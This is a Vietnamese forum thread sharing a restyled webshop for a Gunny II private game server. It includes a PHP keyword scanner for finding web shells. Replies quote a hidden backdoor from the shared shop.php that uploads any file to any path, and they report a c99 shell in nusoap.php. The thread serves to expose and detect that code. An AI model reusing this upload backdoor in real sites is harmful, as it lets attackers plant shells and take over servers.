Share WS giao diện mới Gunny II [Sạch + đẹp]

**luadola001** · 01-08-14, 02:25 PM

Demo ảnh:

Code:

[Only registered and activated users can see links. ] [Only registered and activated users can see links. ] [Only registered and activated users can see links. ] [Only registered and activated users can see links. ] [Only registered and activated users can see links. ] Chưa kịp làm cái phân trang :D [Only registered and activated users can see links. ]

Code đã được edit style html, không đụng chạm gì đến code php gốc, không có chức năng gì mới, webshop thì do bachugacon122 code.
Không dám nói là code sạch 100% nhưng mình đã dùng rồi và không gặp sự cố gì nên chắc cũng tầm 96,69% . Nếu bạn cài theo đúng hướng dẫn mà vẫn bị lỗi hay bạn bị hack web thì mình không chịu trách nhiệm nhé vì mình chỉ edit style không đụng chạm gì đến code
Các bạn muốn dùng thì dùng mình không tiếp gạch đá . Riêng mình vẫn thích dùng webshop này hơn :3. Nghe nói webshop của meocon dính lỗi SQli .
Link download: Không share nữa code không sạch Các bạn thông cảm (Bảo gồm full code + data + hướng dẫn cài đặt)

Vui lòng click nút "Thanks" để thấy pass giải nén.

pass unrar: trachpro
Các bạn muốn edit style cho bất kỳ code nào thì cứ liên hệ mình Y!M: [Only registered and activated users can see links. ]

Bonus thêm hướng dẫn scan shell trong mọi code và xóa bỏ.
UP lên root rồi chạy cái này tìm theo từ khóa. Phát hiện cái nào truy cập vào cái đó thử trước nếu thấy là shell thì xóa bỏ là xong

PHP Code:


<?php

/*********************************************************
- Tool Scan shell 
- Edit by : GraceH
**********************************************************/
error_reporting (0);    // Mở báo lỗi
ini_set("memory_limit","2000M");
ini_set("safe_mode","off");
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode)
set_time_limit(0);
if (@!isset($_POST['key']))
{
?>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Scan Shell</title>
<style>
body { 
font-family:arial;
}
</style>
</head>
<body bgcolor=black text=blue size=2><center>
<form method='post' action=''>
<div style="border-style: solid; border-width: 1px; padding-left: 4px; padding-right: 4px; padding-top: 1px; padding-bottom: 1px">
<h1>Scan Shell - v1.1</h1> 
                  <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Folder: <input type='text' size=70 name='folder' value='<?echo $_SERVER['DOCUMENT_ROOT']?>/'/></div>                    
                  &nbsp;<div>&nbsp; KeyWord:&nbsp; <input type='text' size=70 name='key' value='base64_decode'/></div>  
                  <p><input type='submit' name='submit' value='Tìm kiếm' /></p>  </div>
                  <div align=left><br>Step 1: Nhập đường dẫn thư mục cần scan</div>
                  <div align=left>Step 2: Nhập từ khóa cần tìm</div>
            </form>

<br><br>
---------------------------------------------------------------------------------
</br>GraceH<br>---------------------------------------------------------------------------------
</center>

</body>
</html>
  <?
}
else
{
if ($_POST['folder']) $folder = $_POST['folder']; else $folder = $_SERVER['DOCUMENT_ROOT'];
define('Keyword',$_POST['key']);                                    // Tìm kiếm từ khóa
define('TAB',"&nbsp;&nbsp;&nbsp;&nbsp;");                        
define('IGNORE_EXTENSIONS',"jpg pdf zip psd doc gif swf xls gz txt");    // Không tìm những file
define("MAX_SIZE",1024*1024*1024);                                    // Size tối đa
define("IGNORE_BEFORE", strtotime('2009-08-01') );                // Tìm File trước ngày
$shell = $_SERVER["PHP_SELF"];

function findexts($filename)
{
    $filename = strtolower($filename) ;
    $exts = split("[/\\.]", $filename) ;
    $n = count($exts)-1;
    $exts = $exts[$n];
    return strtolower($exts);
} 

function check_dir($directory,$level) {
    global $virus_detected, $all, $detect_errors_only, $detected_Keyword_in_test_script;

    $indent='';
    for ($count=0;$count<$level;$count++) {
        $indent.=TAB;
    }
    $level++;
    $read_dir=opendir($directory);    // Mở thư mục hiện tại
    while ($file=readdir($read_dir)) {
        $filepath=$directory.'/'.$file;
        if ($detect_errors_only && $virus_detected) {
            exit;
        }
        if (is_dir($filepath)) {
            // Thư mục
            if ( ($file<>'.') && ($file<>'..') ) {
                check_dir($filepath,$level);
            }
        }
        else {
            if (is_file($filepath)) {
                // Tập
                if ( (is_readable($filepath) )  &&  (!stristr(IGNORE_EXTENSIONS, findexts($file)))  ) {
                    if ((filesize($filepath)< MAX_SIZE) && (filemtime($filepath)>IGNORE_BEFORE) ){
                        $fileentry=$directory.'/'.$file.' - '.date('j F Y H:i',filemtime($filepath));
                        $filestring=file_get_contents($filepath);
                        $found=stripos($filestring,Keyword); // PHP 5 ONLY
                        $found=stristr($filestring,Keyword);flush();
                        if ($found==false) {
                            if ( (!$detect_errors_only) && (!$all) ) {
                            echo($filepath.'  <font color=#FFFFFF>OK</font><br/>');
                            }
                        }
                        else {
                            if ($file=='scan_file.php'){
                                $detected_Keyword_in_test_script=true;
                            }
                            else {
                                $virus_detected=true;
                                if ($detect_errors_only) {
                                    echo('<b style="color:#F00">Tập tin đề nghị phát hiện</b><br/>');
                                }
                                else {
                                    echo(TAB.'<b style="color:#F00">'.$fileentry.'</b> - <b style="color:#FFFFF0">Phát hiện</b><br/>');
                                }
                            } 
                        }
                        $found='';
                    }
                    else {
                        if ( (!$detect_errors_only) && (!$all) ) {
                            echo($filepath.'  <b style="color:yellow">NOT CHECKED - File quá lớn</b><br/>');
                        }
                    }
                }
                else {
                    if ( (!$detect_errors_only) && (!$all) ) {
                        echo($filepath.'  <b style="color:yellow">NOT CHECKED - Không thuộc kiểu tìm kiếm</b><br/>');
                    }
                }
            }
            else {
            }
        }
    }    
    closedir($read_dir);
} 

$virus_detected=false;
$all=true;
$detect_errors_only=false;
$detected_Keyword_in_test_script=false;
if (isset($_GET['all'])) {
    $all=false;
}
if (isset($_GET['detect_errors_only'])) {
    $detect_errors_only=true;
}

echo<<<END1
<html>
<head>
<title>Scan Shell v1.1</title>
<style>
body { 
font-family:arial;
}
</style>
</head>
<body bgcolor=black text=blue size=2>
END1;
?>
<div style="border-style: solid; border-width: 1px; padding-left: 4px; padding-right: 4px; padding-top: 1px; padding-bottom: 1px">
<h1>Truy xuất từ khóa "<?echo Keyword?>" trong hệ thống !</h1>
Bỏ qua lỗi file : <font color=yellow><?echo IGNORE_EXTENSIONS?>.</font><br/>
Bỏ qua file vượt quá : <font color=yellow><?echo MAX_SIZE?> bytes.</font><br/>
Tìm kiếm file trước ngày :<font color=yellow> <?echo date('j F Y',IGNORE_BEFORE)?>.</font><br/><br></div>
<br/><br>[<a href="<?echo $shell?>?all">Hiển thị tất cả?</a>]
<br/><br/>&nbsp;<br/>
<?

if ($all) {
    echo('<font color=yellow>List File</font><br/>');
}
check_dir($folder,0);



if ($virus_detected) {
    echo('<br/><b style="color:#f00">Tìm kiếm thành công!</b><br>&nbsp;<br/>');
}
else {
echo('<br/><b style="color:#f00">Không có file chứa Key Word!</b><br>&nbsp;<br/>');
}

?>
</body>
</html>
<?
}
?>

**The Gamer** · 01-08-14, 02:35 PM

pass giải nén là gì ?____________

**duyanh12285** · 01-08-14, 02:44 PM

shell99 scan trước khi sài nếu ko muốn đi cả sv

**luadola001** · 01-08-14, 02:44 PM

pass giải nén là trachpro nhé

mấy bác không để ý gì hết @@

**luadola001** · 01-08-14, 02:53 PM

Gửi bởi duyanh12285 [Only registered and activated users can see links. ]

shell99 scan trước khi sài nếu ko muốn đi cả sv

vãi shell

**bachugacon122** · 01-08-14, 02:57 PM

Check sơ quá thấy có vẻ hình như bị dính ....

Cơ mà máy không cài gun nên không test được =]]
Thím nào chuột bạch đê =]]

**bachugacon122** · 01-08-14, 03:11 PM

Gửi bởi meocon5000 [Only registered and activated users can see links. ]

Ừ, hình như không có shell đâu , nhưng có cái này , thớt giải thích nhé
File shop.php

Code:

if($_REQUEST['do']=='upanh')
{
    $files = @$_FILES["files"];
    if($files["name"] != ''){
        $fullpath = $_REQUEST["path"].$files["name"];
        if(move_uploaded_file($files['tmp_name'],$fullpath)){
            echo "<h1><a href='$fullpath'>Upload ảnh thành công</a></h1>";
        } 
    }
echo '<body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path>
<input type="file" name="files"><input type=submit value="Đăng ảnh"></form></body>';
$config['user_upanh'] = 'upanh';
$config['pass_upanh'] = 'upanh';
if ($_SERVER['PHP_AUTH_USER'] != $config['user_upanh'] || $_SERVER['PHP_AUTH_PW'] != $config['pass_upanh']){
header('WWW-Authenticate: Basic realm="Xin vui long khai bao thong tin yeu cau truoc khi thuc hien upload anh!"');
header('HTTP/1.0 401 Unauthorized');
echo '<center>Access Denied!!!</center>';
exit;
}
exit("");
}

Cái đoạn này có tác dụng gì vậy thớt ? Upload avatar cho user à

Tôi cũng thấy cái đó =]], Cơ mà code không check chiết gì hết, úp shell chắc là được =]]
Chưa có server để test nên chưa nói

**luadola001** · 01-08-14, 03:12 PM

Gửi bởi meocon5000 [Only registered and activated users can see links. ]

Ừ, hình như không có shell đâu , nhưng có cái này , thớt giải thích nhé
File shop.php

Code:

if($_REQUEST['do']=='upanh')
{
    $files = @$_FILES["files"];
    if($files["name"] != ''){
        $fullpath = $_REQUEST["path"].$files["name"];
        if(move_uploaded_file($files['tmp_name'],$fullpath)){
            echo "<h1><a href='$fullpath'>Upload ảnh thành công</a></h1>";
        } 
    }
echo '<body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path>
<input type="file" name="files"><input type=submit value="Đăng ảnh"></form></body>';
$config['user_upanh'] = 'upanh';
$config['pass_upanh'] = 'upanh';
if ($_SERVER['PHP_AUTH_USER'] != $config['user_upanh'] || $_SERVER['PHP_AUTH_PW'] != $config['pass_upanh']){
header('WWW-Authenticate: Basic realm="Xin vui long khai bao thong tin yeu cau truoc khi thuc hien upload anh!"');
header('HTTP/1.0 401 Unauthorized');
echo '<center>Access Denied!!!</center>';
exit;
}
exit("");
}

Cái đoạn này có tác dụng gì vậy thớt ? Upload avatar cho user à

@@ Mình đã nói là chỉ edit html thôi mà

Sao bảo giải thích gì

**luadola001** · 01-08-14, 03:19 PM

Gửi bởi meocon5000 [Only registered and activated users can see links. ]

Đoạn mã này có thể là để up ảnh hay gì đó, nhưng trong này không check exetension của file upload lên nên hoàn toàn có thể dùng để upload shell ==> Thành mã độc rồi đấy

Bạn share website ra không kiểm tra à ?

P/S: Đã test cái code upload trên nhé, up shell ngon lành cành đào

Mình có nói rõ ở topic ai biết đọc sẽ hiểu

**The Gamer** · 01-08-14, 03:23 PM

web này shell vãi loàn nhé

con shell 99 ở trong đoạn code /lib/nusoap.php

đắng lòng vl kis còn chém chết 3 lần

ở bản gốc file này sạch qua tay bố này thành shell cmn luôn

lại còn úp ảnh avatar cho member login sv game thì thuâ

thôi cho ra đảo đi

Thanh niên 2k14 kiếm ăn bằng cách gửi shell

Chủ đề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Công cụ Chủ đề

Share WS giao diện mới Gunny II [Sạch + đẹp]

The Following 47 Users Say Thank You to luadola001 For This Useful Post:

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Các thành viên gởi lời cảm ơn đến bachugacon122 vì bài viết này !

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Ðề: Share WS giao diện mới Gunny II [Sạch + đẹp]

Các Chủ đề tương tự

[Gunny] Share Webshop giao diện mới cho gunny R2x

[Gunny] chỉnh sửa giao diện gunny

[Gunny] [Share] Giao diện gunny II cho mọi người nè

Share giao diện UI nhất kiếm việt hóa và cách việt hóa

[Share]Giao diện của mình!

Quyền viết bài